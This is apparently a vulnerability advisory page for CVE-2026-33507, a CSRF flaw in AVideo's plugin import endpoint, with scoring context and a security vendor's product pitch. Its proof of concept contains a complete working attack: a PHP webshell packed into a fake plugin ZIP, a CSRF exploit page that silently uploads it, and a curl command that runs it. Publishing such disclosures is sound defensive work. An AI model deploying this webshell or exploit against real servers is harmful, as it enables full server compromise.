CVE-2026-33507 is a high-severity (CVSS 8.8) Cross-Site Request Forgery (CSRF) vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33507.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33507 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The objects/pluginImport.json.php endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting session.cookie_samesite = 'None' for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.
Details
The root cause has two components working together:
1. SameSite=None on session cookies (objects/include_config.php:134-137):
if ($isHTTPS) {
ini_set('session.cookie_samesite', 'None');
ini_set('session.cookie_secure', '1');
}
This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.
2. No CSRF protection on pluginImport.json.php (objects/pluginImport.json.php:18):
if (!User::isAdmin()) {
$obj->msg = "You are not admin";
die(json_encode($obj));
}
The endpoint only checks User::isAdmin() via the session. There is:
- No CSRF token validation (the
verifyToken/globalTokenmechanism used elsewhere is absent) - No
allowOrigin()call (contrast withobjects/videoAddNew.json.phpwhich callsallowOrigin()at line 8) - No
RefererorOriginheader validation - No requirement for custom headers (e.g.,
X-Requested-With)
The upload form at view/managerPluginUpload.php also contains no CSRF token — it's a plain <form enctype="multipart/form-data"> with a file input.
Why the attack bypasses CORS preflight: multipart/form-data is a CORS-safelisted Content-Type, so a fetch() call with mode: 'no-cors' and credentials: 'include' sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible plugin/ directory — is the objective.
Why secondary PHP files are not validated: The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (.phtml, .phar, .sh, etc.), and verifies the main plugin file extends PluginAbstract. However, .php is intentionally not in the dangerousExtensions list (it's a plugin system), and only the main file (PluginName/PluginName.php) is checked for the PluginAbstract pattern. Any additional .php files in the ZIP are extracted without content inspection.
PoC
Step 1: Create the malicious plugin ZIP
mkdir -p EvilPlugin
# Main file — passes PluginAbstract validation
cat > EvilPlugin/EvilPlugin.php << 'PLUG'
<?php
class EvilPlugin extends PluginAbstract {
public function getTags() { return array(); }
public function getDescription() { return "test"; }
public function getName() { return "EvilPlugin"; }
public function getUUID() { return "evil-0000-0000-0000"; }
public function getPluginVersion() { return "1.0"; }
public function getEmptyDataObject() { return new stdClass(); }
}
PLUG
# Secondary file — webshell, NOT checked for PluginAbstract
cat > EvilPlugin/cmd.php << 'SHELL'
<?php if(isset($_GET['c'])) system($_GET['c']); ?>
SHELL
zip -r evil-plugin.zip EvilPlugin/
Step 2: Host the CSRF exploit page
<!DOCTYPE html>
<html>
<body>
<h1>Loading...</h1>
<script>
// Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php
// In practice, the attacker would embed the base64-encoded ZIP bytes here
async function exploit() {
const zipResp = await fetch('evil-plugin.zip');
const zipBlob = await zipResp.blob();
const formData = new FormData();
formData.append('input-b1', zipBlob, 'evil-plugin.zip');
fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', {
method: 'POST',
body: formData,
mode: 'no-cors',
credentials: 'include'
});
}
exploit();
</script>
</body>
</html>
Step 3: Admin visits attacker's page while logged into AVideo over HTTPS
The browser sends the multipart/form-data POST with the admin's PHPSESSID cookie (allowed by SameSite=None). The server processes the upload, validates the ZIP structure, and extracts it to plugin/EvilPlugin/.
Step 4: Attacker accesses the webshell
curl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
- Remote Code Execution: An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session.
- Full server compromise: The webshell runs as the web server user (
www-data), enabling data exfiltration, lateral movement, database access, and further privilege escalation. - No attacker account needed: The attacker requires zero privileges on the target system — only that an admin visits a page they control.
- Stealth: The attack is invisible to the admin (fire-and-forget side-effect request). The
no-corsmode means no visible error or redirect.
Recommended Fix
1. Add CSRF token validation to objects/pluginImport.json.php (primary fix):
// After the isAdmin() check at line 18, add:
if (!User::isAdmin()) {
$obj->msg = "You are not admin";
die(json_encode($obj));
}
// Add CSRF protection
allowOrigin();
// Also validate a CSRF token
if (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) {
$obj->msg = "Invalid CSRF token";
die(json_encode($obj));
}
2. Update the upload form in view/managerPluginUpload.php to include the token:
<form enctype="multipart/form-data">
<input type="hidden" name="globalToken" value="<?php echo getToken(); ?>">
<input id="input-b1" name="input-b1" type="file" class="">
</form>
And pass it in the JavaScript upload config:
$('#input-b1').fileinput({
uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php',
uploadExtraData: { globalToken: $('input[name=globalToken]').val() },
// ...
});
3. Consider changing SameSite=None to SameSite=Lax unless cross-origin cookie inclusion is specifically required for application functionality. Lax prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for CVE-2026-33507 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33507 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33507. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33507 in your dependencies?
O3 Security finds CVE-2026-33507 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.